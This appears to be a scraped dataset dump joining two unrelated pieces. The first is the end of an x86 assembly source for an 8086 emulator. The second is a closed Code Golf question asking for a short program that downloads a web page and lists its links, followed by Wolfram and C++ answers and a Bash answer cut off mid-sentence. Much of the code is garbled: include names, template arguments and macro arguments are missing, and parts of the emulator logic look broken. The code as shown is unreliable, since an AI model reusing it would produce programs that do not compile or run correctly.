ecx, 0011b\n lea edx, REGB[ecx * 2] ; ACDB\n movzx ecx, ah\n and ecx, 0100b ; 0 -> L, 1 -> H\n shr ecx, 2\n add edx, ecx ; register host address now in edx\n jmp LeaveLabel\n RM_IsWordReg:\n ; 16bit register\n and ecx, 0111b\n lea edx, REGW[ecx * 2] ; register host address now in edx\n ; fall-through\n IF DisableFallThroughLeave\n jmp LeaveLabel\n ENDIF\nENDM\n; ebx is flat addr in host machine\ncomputeFlatIP MACRO\n movzx eax, R_CS\n shl eax, 4\n movzx ebx, R_IP\n lea ebx, MEMO[ebx + eax]\nENDM\n; use ah\nmodifyFlagsInstruction MACRO instruction\n mov ah, R_FLAGS\n sahf\n instruction\n lahf\n mov R_FLAGS, ah\nENDM\n; error case return address passed by ecx\n; success will use ret\n; flat ip in ebx\nArithLogic PROC\n movzx eax, word ptr [ebx]; read 2 bytes at once for later use, may exceed 1M, but we are in a emulator\n test eax, 11000100b ; only test low byte -- the first byte\n jz RegWithRegOrMem; must be 00xxx0xx, No Imm Op\n test eax, 01111100b\n jz ImmWithRegOrMem; must be 100000xx(with test 11000100b not zero), Imm to reg/mem\n test eax, 11000010b\n jz ImmToAcc; must be 00xxx10x(with test 11000100b not zero), Imm to accumulator Op\n jmp ecx; Other Instructions\n ImmToAcc:\n xor ecx, ecx\n test al, 0001b\n setnz cl\n lea edx, [R_AX] ; dest addr\n lea esi, [ebx + 1] ; src addr\n lea edi, [ecx + 2] ; delta ip\n ; now ebx free\n movzx ebx, al ; first byte contains op[3]\n jmp Operand\n ImmWithRegOrMem:\n RegWithRegOrMem:\n computeEffectiveAddress SrcIsRegOrImm, 0, R_DS\n SrcIsRegOrImm: ; not real src, d[1] decide real src\n mov edi, esi ; copy \"end of displacement(host)\" for delta ip\n sub edi, ebx ; compute delta ip, not yet count imm data, will be handled in SrcIsImm\n ; now ebx free\n test al, 10000000b ; first byte still in al\n jnz SrcIsImm\n ; Not Imm, Use Reg\n movzx ebx, al ; first byte contains op[3]\n shr ah, 2 ; not fully shift to eliminate index scaling\n movzx ecx, ah ; 00 mod[2] reg[3] x, moved before jump to reuse code\n test al, 0001b ; decide 16bit or 8bit register\n jnz REG_IsWordReg\n ; 8bit register\n and ecx, 0110b ; ecx = 00 mod[2] reg[3] x ; 0,2,4,6 -> ACDB \n movzx ebx, ah\n and ebx, 1000b ; 0 -> L, 1 -> H\n shr ebx, 3\n lea esi, REGB[ecx + ebx] ; reg register host address now in esi\n jmp SRC_DEST ; first byte still in al\n REG_IsWordReg:\n ; 16bit register\n and ecx, 1110b\n lea esi, REGW[ecx] ; reg register host address now in esi\n jmp SRC_DEST ; first byte still in al\n SrcIsImm:\n movzx ebx, ah ; second byte contains op[3]\n ; compute delta ip\n xor ecx, ecx\n cmp al, 10000001b ; 100000 s[1] w[1], 00: +1, 01: +2, 10: +1, 11: +1\n sete cl\n lea edi, [edi + 1 + ecx] ; delta ip in edi\n ; imm data host address(end of displacement) already in esi\n jmp SRC_DEST ; first byte still in al\n SRC_DEST:\n ; first byte still in al\n test al, 10000000b;\n jnz Operand ; Imm to r/m, no need to exchange\n test al, 0010b; d[1] or s[1] (Imm to r/m case)\n jz Operand ; d = 0 no need to exchange\n xchg esi, edx ; put src in esi and dest in edx, for sub/sbb/cmp and write back\n ; fall-through\n Operand: \n ; first byte still in al\n test al, 0001b ; decide 8bit or 16bit operand\n jnz OperandW ; word operand\n ; use 8bit partial reg for convenience\n ; generally that will be slower because of partial register stalls\n ; fortunately we don't need to read from cx or ecx, actually no stall occur\n mov cl, byte ptr [esi] ; src operand\n and ebx, 00111000b ; xx op[3] xxx, select bits, clear others\n ; Not shift, eliminate index * 8 for OpTable\n jmp dword ptr [OpTable + ebx]\n OperandW:\n ; first byte still in al\n test al, 10000000b\n jz NotSignExt ; Not Imm to r/m\n test al, 0010b; s[1]\n jz NotSignExt\n movsx cx, byte ptr [esi] ; src operand, sign ext\n jmp OperandWExec\n NotSignExt:\n mov cx, word ptr [esi] ; src operand\n ; fall-through\n OperandWExec:\n and ebx, 00111000b ; xx op[3] xxx, select bits, clear others\n ; Not shift, eliminate index * 8 for OpTable\n jmp dword ptr [OpTable + 4 + ebx]\n OpTable:\n ; could store diff to some near Anchor(e.g. OpTable) to save space\n ; but we use a straightforward method\n dword B_ADD, W_ADD\n dword B_OR, W_OR\n dword B_ADC, W_ADC\n dword B_SBB, W_SBB\n dword B_AND, W_AND\n dword B_SUB, W_SUB\n dword B_XOR, W_XOR\n dword B_CMP, W_CMP\n ByteOp:\n B_CMP:\n cmp byte ptr [edx], cl\n jmp WriteFlags\n B_XOR:\n xor byte ptr [edx], cl\n jmp WriteFlags\n B_SUB:\n sub byte ptr [edx], cl\n jmp WriteFlags\n B_AND:\n and byte ptr [edx], cl\n jmp WriteFlags\n B_SBB:\n mov ah, R_FLAGS\n sahf\n sbb byte ptr [edx], cl\n jmp WriteFlags\n B_ADC:\n mov ah, R_FLAGS\n sahf\n adc byte ptr [edx], cl\n jmp WriteFlags\n B_OR:\n or byte ptr [edx], cl\n jmp WriteFlags\n B_ADD:\n add byte ptr [edx], cl\n jmp WriteFlags\n WordOp:\n W_CMP:\n cmp word ptr [edx], cx\n jmp WriteFlags\n W_XOR:\n xor word ptr [edx], cx\n jmp WriteFlags\n W_SUB:\n sub word ptr [edx], cx\n jmp WriteFlags\n W_AND:\n and word ptr [edx], cx\n jmp WriteFlags\n W_SBB:\n mov ah, R_FLAGS\n sahf\n sbb word ptr [edx], cx\n jmp WriteFlags\n W_ADC:\n mov ah, R_FLAGS\n sahf\n adc word ptr [edx], cx\n jmp WriteFlags\n W_OR:\n or word ptr [edx], cx\n jmp WriteFlags\n W_ADD:\n add word ptr [edx], cx\n ; fall-through\n WriteFlags:\n lahf ; load flags into ah\n mov R_FLAGS, ah\n add R_IP, di\n ret\nArithLogic ENDP\nArith_INC_DEC PROC ; note: inc and dec is partial flags writer we need to load flags before inc or dec\n movzx eax, word ptr [ebx] ; read 2 byte at once, may exceed 1M, but we are in a emulator\n \n xor al, 01000000b \n test al, 11110000b ; high 4 0100\n jz RegOnly\n xor al, 10111110b ; equiv to xor 11111110 at once\n test al, 11111110b \n jz RegOrMem\n jmp ecx\n RegOnly:\n add R_IP, 1 ; 1byte long\n movzx ebx, al\n test al, 00001000b\n jnz RegOnlyDEC\n ; other bits in eax already clear\n ; INC\n ; note: load flags use ah\n modifyFlagsInstruction \n ret\n RegOnlyDEC:\n modifyFlagsInstruction ; 1 reg[3], *2 - 16\n ret\n RegOrMem:\n test ah, 00110000b\n jz Match\n jmp ecx ; other instructions\n Match:\n ; note: al lowest bit already w[1]\n computeEffectiveAddress INC_DEC_ComputeEA_Done, 0, R_DS\n INC_DEC_ComputeEA_Done:\n sub esi, ebx\n add R_IP, si\n test ah, 00001000b\n jnz RegOrMemDEC\n ; INC\n test al, 0001b\n jnz WordINC\n ; byte INC\n modifyFlagsInstruction \n ret\n WordINC:\n modifyFlagsInstruction \n ret\n RegOrMemDEC:\n test al, 0001b\n jnz WordDEC\n ; byte DEC\n modifyFlagsInstruction \n ret\n WordDEC:\n modifyFlagsInstruction \n ret\nArith_INC_DEC ENDP\n; uses ah\nGenerateJmpConditional MACRO jmp_cc\n movsx di, ah\n mov ah, R_FLAGS\n sahf\n jmp_cc Jmp_Short_Rel8_Inner\n add R_IP, 2 ; instruction length = 2 bytes\n ret\nENDM\n; flat ip in ebx\n; NOTE: cs can be changed!\n; error case return address passed by ecx\n; success will use ret\nControlTransfer PROC\n movzx eax, word ptr [ebx] ; read 2 byte at once, may exceed 1M, but we are in a emulator\n cmp al, 0E8h ; parse instruction type\n je Call_Direct_Near\n cmp al, 09Ah\n je Call_Direct_Far\n cmp al, 0FFh\n je Call_Jmp_Indirect\n cmp al, 0EBh\n je Jmp_Short_Rel8\n cmp al, 0E9h\n je Jmp_Near_Rel16\n cmp al, 0EAh\n je Jmp_Direct_Far \n FOR x, <70h,71h,72h,73h,74h,75h,76h,77h,78h,79h,7ah,7bh,7ch,7dh,7eh,7fh> ; conditional jmp\n cmp al, x\n je Jmp&x\n ENDM\n movzx edi, word ptr [ebx + 1] ; pop imm16 bytes\n cmp al, 0C2h\n je Ret_Near\n cmp al, 0CAh\n ; edi already load\n je Ret_Far\n xor edi, edi ; pop 0 byte\n cmp al, 0C3h\n je Ret_Near\n cmp al, 0CBh\n ; edi already clear\n je Ret_Far\n jmp ecx ; other instructions\n \n Jmp70h: GenerateJmpConditional jo\n Jmp71h: GenerateJmpConditional jno\n Jmp72h: GenerateJmpConditional jb\n Jmp73h: GenerateJmpConditional jae\n Jmp74h: GenerateJmpConditional je\n Jmp75h: GenerateJmpConditional jne\n Jmp76h: GenerateJmpConditional jbe\n Jmp77h: GenerateJmpConditional ja\n Jmp78h: GenerateJmpConditional js\n Jmp79h: GenerateJmpConditional jns\n Jmp7ah: GenerateJmpConditional jpe\n Jmp7bh: GenerateJmpConditional jpo\n Jmp7ch: GenerateJmpConditional jl\n Jmp7dh: GenerateJmpConditional jge\n Jmp7eh: GenerateJmpConditional jle\n Jmp7fh: GenerateJmpConditional jg\n Jmp_Short_Rel8:\n movsx di, ah\n Jmp_Short_Rel8_Inner:\n add di, 2 ; instruction length = 2 bytes\n add R_IP, di ; ip += rel8 sign extended to 16bit (relative to next instruction)\n ret\n Call_Direct_Near: ; near direct is ip relative, cannot reuse indirect code\n movzx edx, R_SP\n movzx ecx, R_SS\n sub R_SP, 2 ; write after read to avoid stall\n shl ecx, 4\n mov si, R_IP\n add si, 3 ; instruction length = 3 bytes\n mov word ptr MEMO[edx + ecx - 2], si\n add si, word ptr [ebx + 1]\n mov R_IP, si ; write back\n ret ; not reuse code\n Jmp_Near_Rel16:\n ; ip += displacement\n mov si, R_IP\n add si, 3 ; instruction length = 3 bytes\n add si, word ptr [ebx + 1]\n mov R_IP, si ; write back\n ret\n Call_Direct_Far:\n lea edx, [ebx + 1]\n lea esi, [ebx + 5]\n jmp Call_Indirect_Far ; reuse code\n Jmp_Direct_Far:\n lea edx, [ebx + 1]\n lea esi, [ebx + 5]\n jmp Jmp_Indirect_Far ; reuse code\n Call_Jmp_Indirect:\n test ah, 00110000b\n jz NotMatch ; xx00xxxx\n xor ah, 00110000b\n test ah, 00110000b\n jz NotMatch ; xx11xxxx\n computeEffectiveAddress Control_Flow_EA_Done, 0, R_DS\n ; fall-through\n Control_Flow_EA_Done:\n ; IMPORTANT: ah xor with 00110000b\n test ah, 00100000b\n jz Jmp_Indirect ; xx10sxxx\n ; xx01sxxx\n test ah, 00001000b\n jz Call_Indirect_Near ; xx010xxx\n jmp Call_Indirect_Far ; xx011xxx\n Jmp_Indirect:\n ; xx10sxxx\n test ah, 00001000b\n jz Jmp_Indirect_Near ; xx100xxx\n jmp Jmp_Indirect_Far ; xx101xxx\n NotMatch:\n jmp ecx\n Call_Indirect_Near:\n sub esi, ebx ; esi-ebx is command length\n add si, R_IP ; add to R_IP to get offset of next instruction\n ; now ebx free\n ; push ip\n movzx ebx, R_SP\n movzx ecx, R_SS\n sub R_SP, 2 ; write after read to avoid stall\n shl ecx, 4\n mov word ptr MEMO[ebx + ecx - 2], si\n ; fall-through\n Jmp_Indirect_Near:\n mov ax, word ptr [edx] ; load offset into cx\n mov R_IP, ax ; write back new ip\n ret\n Call_Indirect_Far:\n sub esi, ebx ; esi-ebx is command length\n add si, R_IP ; add to R_IP to get offset of next instruction\n ; now ebx free\n ; push cs, then push ip\n movzx ebx, R_SP\n movzx ecx, R_SS\n sub R_SP, 4 ; write after read to avoid stall\n shl ecx, 4\n movzx eax, R_CS\n shl eax, 16\n or eax, esi ; avoid partial register write then read whole register\n mov dword ptr MEMO[ebx + ecx - 4], eax\n ; fall-through\n Jmp_Indirect_Far:\n mov eax, dword ptr [edx]\n mov R_IP, ax\n shr eax, 16\n mov R_CS, ax\n ret\n Ret_Near: \n movzx edx, R_SP\n movzx ecx, R_SS\n shl ecx, 4\n mov ax, word ptr MEMO[edx + ecx] ; rtn addr in ax\n mov R_IP, ax\n add di, 2 ; pop n + 2 byte\n add R_SP, di\n ret\n Ret_Far:\n movzx edx, R_SP\n movzx ecx, R_SS\n shl ecx, 4\n mov eax, dword ptr MEMO[edx + ecx]; rtn addr (high[16] = cs, low[16] = ip ) in eax\n mov R_IP, ax\n shr eax, 16\n mov R_CS, ax\n mov R_IP, ax\n add di, 4 ; pop n + 4 byte\n add R_SP, di\n ret\nControlTransfer ENDP\n; error case return address passed by ecx\n; flat ip in ebx\n; success will use ret\nDataTransferMOV PROC\n movzx eax, word ptr [ebx] ; read 2 byte at once, may exceed 1M, but we are in a emulator\n xor al, 10001000b\n test al, 11111100b ; high 6 100010\n jz RegWithRegOrMem ; 100010xx\n ; not xor\n test al, 11111001b\n jz SegRegWithRegOrMem; 100011x0, previous test with 11111100b not zero, thus test with 0100b must not zero\n xor al, 00101000b ; equiv to xor 10100000b at once\n test al, 11111100b ; high 6 101000\n jz MemWithAccumulator\n xor al, 00010000b ; equiv to xor 10110000b at once\n test al, 11110000b ; high 4 1011\n jz ImmToReg\n xor al, 01110110b ; equiv to xor 11000110b at once\n test al, 11111110b ; high 7 1100011\n jz ImmToRegOrMem\n jmp ecx \n ImmToRegOrMem:\n or al, 10000000b ; set flag to reuse code, repeat macro maybe a little faster\n jmp WithRegOrMem\n SegRegWithRegOrMem:\n or al, 0001b ; SegReg case don't have w[1], manually set lowest bit\n ; fall-through\n RegWithRegOrMem:\n ; fall-through\n WithRegOrMem:\n computeEffectiveAddress SrcIsRegOrImm, 0, R_DS\n SrcIsRegOrImm: ; not real src, d[1] decide real src\n test al, 10000000b ; test flag\n jnz SrcIsImm\n ; Not Imm, Use Reg\n ; compute delta ip\n sub esi, ebx\n add R_IP, si\n ; now ebx, esi free\n shr ah, 2 ; not fully shift to eliminate index scaling\n movzx ecx, ah ; 00 mod[2] reg[3] x, moved before jump to reuse code\n test al, 0100b ; check if segment register\n jnz SegReg\n test al, 0001b ; decide 16bit or 8bit register\n jnz REG_IsWordReg\n ; 8bit register\n and ecx, 0110b ; ecx = 00 mod[2] reg[3] x ; 0,2,4,6 -> ACDB\n movzx ebx, ah\n and ebx, 1000b ; 0 -> L, 1 -> H\n shr ebx, 3\n test al, 0010b ; d[1]\n jnz ToByteReg\n ; from byteReg\n mov al, byte ptr REGB[ecx + ebx]\n mov byte ptr [edx], al\n ret\n ToByteReg:\n mov al, byte ptr [edx]\n mov byte ptr REGB[ecx + ebx], al\n ret\n REG_IsWordReg:\n ; 16bit register\n and ecx, 1110b\n test al, 0010b ; d[1]\n jnz ToWordReg\n ; from WordReg\n mov ax, word ptr REGW[ecx]\n mov word ptr [edx], ax\n ret\n ToWordReg:\n mov ax, word ptr [edx]\n mov word ptr REGW[ecx], ax\n ret\n SrcIsImm:\n mov cx, word ptr [esi] ; read 2 byte at once to reuse code, may exceed 1M, but we are in a emulator\n test al, 0001b ; w[1]\n jnz WordSrcImm\n ; Byte Imm\n add esi, 1\n sub esi, ebx\n add R_IP, si\n mov byte ptr [edx], cl\n ret\n WordSrcImm:\n add esi, 2\n sub esi, ebx\n add R_IP, si\n mov word ptr [edx], cx\n ret\n SegReg:\n and ecx, 0110b ; reg[3] = 0 seg[2]\n test al, 0010b ; d[1]\n jnz ToSegReg\n mov ax, word ptr REGS[ecx]\n mov word ptr [edx], ax\n ret\n ToSegReg:\n mov ax, word ptr [edx]\n mov word ptr REGS[ecx], ax\n ret\n ImmToReg:\n test al, 1000b ; w[1]\n jnz WordImmToReg\n ; byte Imm\n ; ebx + 1 already in ah, ebx free\n add R_IP, 2\n movzx ecx, al ; 0000 w[1] reg[3]\n and ecx, 0011b\n movzx ebx, al\n and ebx, 0100b\n shr ebx, 2\n mov byte ptr REGB[ecx * 2 + ebx], ah\n ret\n WordImmToReg:\n add R_IP, 3\n movzx ecx, al\n and ecx, 0111b\n mov ax, word ptr [ebx + 1]\n mov word ptr REGW[ecx * 2], ax\n ret\n MemWithAccumulator:\n add R_IP, 3\n movzx edx, word ptr [ebx + 1]\n movzx ecx, R_DS\n shl ecx, 4\n test al, 0010b ; 0 to accumulator\n jnz FromAccumulator\n mov bx, word ptr MEMO[edx + ecx] ; read 2 byte at once to reuse code, may exceed 1M, but we are in a emulator\n test al, 0001b ; w[1]\n jnz ToAX\n ; to AL\n mov R_AL, bl\n ret\n ToAX:\n mov R_AX, bx\n ret\n FromAccumulator:\n test al, 0001b ; w[1]\n jnz FromAX\n ; from AL\n mov bl, R_AL\n mov byte ptr MEMO[edx + ecx], bl\n ret\n FromAX:\n mov bx, R_AX\n mov word ptr MEMO[edx + ecx], bx\n ret\nDataTransferMOV ENDP\n; error case return address passed by ecx\n; flat ip in ebx\n; success will use ret\nDataTransferStack PROC\n movzx eax, word ptr [ebx] ; read 2 byte at once, may exceed 1M, but we are in a emulator\n xor al, 01010000b\n test al, 11110000b ; high 4 0101\n jz Register ; 0101xxxx\n xor al, 01010110b ; equiv to xor 00000110b at once\n test al, 11100110b ; 000xx11x\n jz SegmentRegister\n xor al, 10001001b ; equiv to xor 10001111b at once\n jz PopRegOrMem\n xor al, 01110000b ; equiv to xor 11111111b at once\n jz PushRegOrMem\n jmp ecx\n Register:\n add R_IP, 1\n movzx esi, R_SP\n movzx ebx, R_SS\n shl ebx, 4\n movzx ecx, al\n and ecx, 0111b\n test al, 1000b\n jnz PopRegister\n ; push\n mov ax, word ptr REGW[ecx * 2]\n sub R_SP, 2 ; push word\n mov word ptr MEMO[ebx + esi - 2], ax\n ret\n PopRegister:\n ; pop\n mov ax, word ptr MEMO[ebx + esi]\n add R_SP, 2 ; pop word\n mov word ptr REGW[ecx * 2], ax\n ret\n SegmentRegister:\n add R_IP, 1\n movzx esi, R_SP\n movzx ebx, R_SS\n shl ebx, 4\n movzx ecx, al\n and ecx, 00011000b\n shr ecx, 2 ; not fully shift\n test al, 0001b\n jnz PopSegmentRegister\n ; push\n mov ax, word ptr REGS[ecx]\n sub R_SP, 2\n mov word ptr MEMO[ebx + esi - 2], ax\n ret\n PopSegmentRegister:\n ; pop\n mov ax, word ptr MEMO[ebx + esi]\n add R_SP, 2\n mov word ptr REGS[ecx], ax\n ret\n PopRegOrMem:\n test ah, 00111000b\n jnz NotMatch\n or al, 10000000b ; set flag for code reuse\n jmp EA_Compute\n PopRegOrMemEADone:\n mov ax, word ptr MEMO[ebx + esi]\n add R_SP, 2\n mov word ptr [edx], ax\n ret\n PushRegOrMem:\n xor ah, 00110000b\n test ah, 00111000b\n jnz NotMatch\n \n jmp EA_Compute\n PushRegOrMemEADone:\n mov ax, word ptr [edx]\n sub R_SP, 2\n mov word ptr MEMO[ebx + esi - 2], ax\n ret\n EA_Compute:\n or al, 0001b ; set lowest bit indicate word register in r/m, which is xor cleared on instruction type check\n computeEffectiveAddress EA_Done, 0, R_DS\n EA_Done:\n sub esi, ebx\n add R_IP, si\n movzx esi, R_SP\n movzx ebx, R_SS\n shl ebx, 4\n test al, 10000000b\n jz PushRegOrMemEADone\n jmp PopRegOrMemEADone\n NotMatch:\n jmp ecx\nDataTransferStack ENDP\nFlagInstruction PROC\n mov al, byte ptr [ebx]\n cmp al, 0F8h\n je ProcessClc\n cmp al, 0F9h\n je ProcessStc\n jmp ecx\n ProcessClc:\n add R_IP, 1\n modifyFlagsInstruction \n \n ret\n ProcessStc:\n add R_IP, 1\n modifyFlagsInstruction \n ret\nFlagInstruction ENDP\nXchgInstruction PROC\n movzx eax, word ptr [ebx] ; read 2 byte at once, may exceed 1M, but we are in a emulator\n xor al, 10000110b\n test al, 11111110b\n jz XchgRegOrMem\n xor al, 00010110b ; equiv to xor 10010000b\n test al, 11111000b\n jz XchgAX\n jmp ecx\nXchgAX: \n ; other bits in al already clear, only need to clear ah, but we just clear all\n add R_IP, 1\n mov bx, R_AX\n and eax, 0111b\n xchg bx, word ptr REGW[eax * 2]\n mov R_AX, bx\n ret\nXchgRegOrMem:\n computeEffectiveAddress XchgRegOrMemEADone, 0, R_DS\nXchgRegOrMemEADone:\n sub esi, ebx\n add R_IP, si\n ; now ebx, esi free\n shr ah, 2 ; not fully shift to eliminate index scaling\n movzx ecx, ah ; 00 mod[2] reg[3] x, moved before jump to reuse code\n test al, 0001b ; decide 16bit or 8bit register\n jnz XchgRegOrMemWord\n ; 8bit register\n and ecx, 0110b ; ecx = 00 mod[2] reg[3] x ; 0,2,4,6 -> ACDB\n movzx ebx, ah\n and ebx, 1000b ; 0 -> L, 1 -> H\n shr ebx, 3\n mov al, byte ptr [edx]\n xchg al, byte ptr REGB[ecx + ebx]\n mov byte ptr [edx], al\n ret\nXchgRegOrMemWord:\n and ecx, 1110b\n mov ax, word ptr [edx]\n xchg ax, word ptr REGW[ecx]\n mov word ptr [edx], ax\nXchgInstruction ENDP\ncomputeEffectiveAddressUnitTest MACRO\n LOCAL callback, L1, L2, L3, L4, L5, L6\n mov ebx, offset MEMO\n mov byte ptr [ebx + 2], 0\n mov byte ptr [ebx + 3], 1\n mov ah, 00000110b\n push offset L1\n computeEffectiveAddress callback, 1, R_DS\n L1:\n mov ebx, offset MEMO\n mov byte ptr [ebx + 2], 10\n mov byte ptr [ebx + 3], 0\n mov ah, 00000110b\n push offset L2\n computeEffectiveAddress callback, 1, R_DS\n L2:\n mov ebx, offset MEMO\n mov ah, 00000000b\n mov R_BX, 4\n mov R_SI, 3\n push offset L3\n computeEffectiveAddress callback, 1, R_DS\n L3:\n mov ebx, offset MEMO\n mov ah, 10000000b\n mov byte ptr [ebx + 2], 10\n mov byte ptr [ebx + 3], 0\n mov R_BX, 4\n mov R_SI, 3\n push offset L4\n computeEffectiveAddress callback, 1, R_DS\n L4:\n mov ebx, offset MEMO\n mov ah, 00000101b\n mov R_DI, 5\n push offset L5\n computeEffectiveAddress callback, 1, R_DS\n L5:\n mov ebx, offset MEMO\n mov ah, 00000111b\n mov R_BX, 9\n push offset L6\n computeEffectiveAddress callback, 1, R_DS\n L6:\n ret\n callback:\n INVOKE printf, offset debugMsg, offset MEMO, edx, esi, 0\n ret\nENDM\ninclude term.asm\ninclude binloader.asm\nmain PROC\n INVOKE LoadBinaryIntoEmulator, ADDR MEMO, ADDR floppyPath\n INVOKE InitEmuScreen ; initialize terminal\n lea edi, [MEMO + 0b8000h]\n mov ecx, 80*25\n mov ax, 0\n rep lodsw ; clrscr\nExecLoop: \n ; draw video memory\n movzx eax, running\n mov esi, OFFSET statusRunning\n test eax, eax\n mov ebx, OFFSET statusPaused\n cmovz esi, ebx\n FOR x, \n movzx eax, x\n push eax\n ENDM\n push esi\n push offset statusLineFmt1\n push offset lineBuf1\n call crt_sprintf\n add esp, 44\n FOR x, \n movzx eax, x\n push eax\n ENDM\n push offset statusLineFmt2\n push offset lineBuf2\n call crt_sprintf\n add esp, 32\n movzx eax, running\n test eax, eax\n jnz Exec_TextAttr_Running\n loadStatusColor paused\n jmp Exec_TextAttr_End\nExec_TextAttr_Running:\n loadStatusColor running\nExec_TextAttr_End:\n mov statusTextAttr, eax\n movzx eax, running\n test eax, eax\n jnz ExecRunning\n INVOKE WriteEmuScreen, ADDR [MEMO + 0b8000h]\n INVOKE WriteStatusLine, ADDR lineBuf1, ADDR lineBuf2, statusTextAttr\n ; check keyboard input\n INVOKE crt__getch\n cmp eax, 'c' ; 'c' is pressed\n jne RefreshedScreen\n mov running, 1\n jmp RefreshedScreen\nExecRunning: \n add screenRefreshCounter, 1\n jno RefreshedScreen\n INVOKE WriteStatusLine, ADDR lineBuf1, ADDR lineBuf2, statusTextAttr\n INVOKE WriteEmuScreen, ADDR [MEMO + 0b8000h]\nRefreshedScreen:\n ; execute next instruction\n pushad\n computeFlatIP\n movzx eax, byte ptr [ebx]\n cmp eax, 0F4h\n je EmulatorHalt\n push offset Executed\n mov ecx, OFFSET ExecIncDec\n jmp ArithLogic\nExecIncDec:\n mov ecx, OFFSET ExecControl\n jmp Arith_INC_DEC\nExecControl: \n mov ecx, OFFSET ExecData\n jmp ControlTransfer\nExecData: \n mov ecx, OFFSET ExecFlag\n jmp DataTransferMOV\nExecFlag: \n mov ecx, OFFSET ExecPushPop\n jmp FlagInstruction\nExecPushPop: \n mov ecx, OFFSET ExecXchg\n jmp DataTransferStack\nExecXchg: \n mov ecx, OFFSET ExecUD\n jmp XchgInstruction\nExecUD: \n mov ecx, MB_ICONERROR\n or ecx, MB_OK\n INVOKE MessageBox, NULL, ADDR UDMsg, ADDR UDMsgTitle, ecx\n add R_IP, 1 ; skip this opcode\n add esp, 4; pop offset Executed\nExecuted:\n popad\n jmp ExecLoop\nEmulatorHalt:\n INVOKE WriteStatusLine, ADDR lineBuf1, ADDR lineBuf2, statusTextAttr\n INVOKE WriteEmuScreen, ADDR [MEMO + 0b8000h] ; update screen\n INVOKE MessageBox, NULL, ADDR haltMsg, ADDR haltMsgTitle, MB_OK\n INVOKE ExitProcess, 0\n ret\nmain ENDP\nEND main\n```\n```\n]"}}},{"rowIdx":53,"cells":{"text":{"kind":"string","value":"[Question]\n [\n**Closed.** This question is [off-topic](/help/closed-questions). It is not currently accepting answers.\n \n \n---\n Questions without an **objective primary winning criterion** are off-topic, as they make it impossible to indisputably decide which entry should win.\nClosed 3 years ago.\n**Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions.\n \n \n[Stroustrup](http://en.wikipedia.org/wiki/Bjarne_Stroustrup) has recently posted a series of posts debunking [popular myths about C++](http://isocpp.org/blog/2014/12/myths-3). The fifth myth is: “C++ is for large, complicated, programs only”. To debunk it, he wrote a simple C++ program **downloading a web page and extracting links from it**. Here it is:\n```\n#include \n#include \n#include \n#include \n#include \n#include \nusing namespace std;\nset get_strings(istream& is, regex pat)\n{\n set res;\n smatch m;\n for (string s; getline(is, s);) // read a line\n if (regex_search(s, m, pat))\n res.insert(m[0]); // save match in set\n return res;\n}\nvoid connect_to_file(iostream& s, const string& server, const string& file)\n// open a connection to server and open an attach file to s\n// skip headers\n{\n if (!s)\n throw runtime_error{ \"can't connect\\n\" };\n // Request to read the file from the server:\n s << \"GET \" << \"http://\" + server + \"/\" + file << \" HTTP/1.0\\r\\n\";\n s << \"Host: \" << server << \"\\r\\n\";\n s << \"Accept: */*\\r\\n\";\n s << \"Connection: close\\r\\n\\r\\n\";\n // Check that the response is OK:\n string http_version;\n unsigned int status_code;\n s >> http_version >> status_code;\n string status_message;\n getline(s, status_message);\n if (!s || http_version.substr(0, 5) != \"HTTP/\")\n throw runtime_error{ \"Invalid response\\n\" };\n if (status_code != 200)\n throw runtime_error{ \"Response returned with status code\" };\n // Discard the response headers, which are terminated by a blank line:\n string header;\n while (getline(s, header) && header != \"\\r\")\n ;\n}\nint main()\n{\n try {\n string server = \"www.stroustrup.com\";\n boost::asio::ip::tcp::iostream s{ server, \"http\" }; // make a connection\n connect_to_file(s, server, \"C++.html\"); // check and open file\n regex pat{ R\"((http://)?www([./#\\+-]\\w*)+)\" }; // URL\n for (auto x : get_strings(s, pat)) // look for URLs\n cout << x << '\\n';\n }\n catch (std::exception& e) {\n std::cout << \"Exception: \" << e.what() << \"\\n\";\n return 1;\n }\n}\n```\nLet's show Stroustrup what **small and readable** program actually is.\n1. Download `http://www.stroustrup.com/C++.html`\n2. List all links:\n```\n http://www-h.eng.cam.ac.uk/help/tpl/languages/C++.html\n http://www.accu.org\n http://www.artima.co/cppsource\n http://www.boost.org\n ...\n```\nYou can use any language, but no third-party libraries are allowed.\n# Winner\n[C++ answer](https://codegolf.stackexchange.com/a/44344) won by votes, but it relies on a semi-third-party library (which is disallowed by rules), and, along with another close competitor [Bash](https://codegolf.stackexchange.com/a/44317), relies on a hacked together HTTP client (it won't work with HTTPS, gzip, redirects etc.). So [**Wolfram**](https://codegolf.stackexchange.com/a/44316) is a clear winner. Another solution which comes close in terms of size and readability is [PowerShell](https://codegolf.stackexchange.com/a/44331) (with improvement from comments), but it hasn't received much attention. Mainstream languages ([Python](https://codegolf.stackexchange.com/a/44279), [C#](https://codegolf.stackexchange.com/a/44283)) came pretty close too.\n# Comment on subjectivity\nThe most upvoted answer (C++) at the moment votes were counted was **disqualified for not following the rules** listed here in the question. There's nothing subjective about it. The second most upvoted question at that moment (Wolfram) was declared winner. The third answer's (Bash) \"disqualification\" is subjective, but it's **irrelevant** as the answer didn't win by votes at any point in time. You can consider it a comment if you like. Furthermore, right now the Wolfram answer is the most upvoted answer, the accepted one, and is declared winner, which means there's zero debate or subjectivity.\n \n[Answer]\n# Wolfram\nThis feels like complete cheating\n```\nImport[\"http://www.stroustrup.com/C++.html\", \"Hyperlinks\"]\n```\nSo just add some honest parsing on top\n```\nCases[\n Import[\"http://www.stroustrup.com/C++.html\", \"XMLObject\"],\n XMLElement[\"a\", {___, \"href\" -> link_, ___}, ___] :> \n link /; StringMatchQ[link, RegularExpression[\"((http://)?www([./#\\\\+-]\\\\w*)+)\"]]\n, Infinity]\n```\n[Answer]\n# C++\n```\n#include \n#include \n#include \nint main() {\n std::string server = \"www.stroustrup.com\";\n std::string request = \"GET http://\" + server + \"/C++.html HTTP/1.0\\r\\nHost: \" + server + \"\\r\\n\\r\\n\";\n boost::asio::ip::tcp::iostream s{server, \"http\"};\n s << request;\n std::regex pat{R\"((http://)?www([./#\\+-]\\w*)+)\"};\n std::smatch m;\n for (std::string l; getline(s, l);)\n if (std::regex_search(l, m, pat))\n std::cout << m[0] << \"\\n\";\n}\n```\nThe main shortcoming is the awkward nature of boost::asio, I'm sure it can be even shorter with a better library.\n[Answer]\n# Pure Bash on Linux/OS X (no external utilities)\nHTTP client software is notoriously bloated. We don't want those kinds of dependencies. Instead we can push the appropriate headers down a TCP stream and read the result. No need to call archaic utilities like grep or sed to 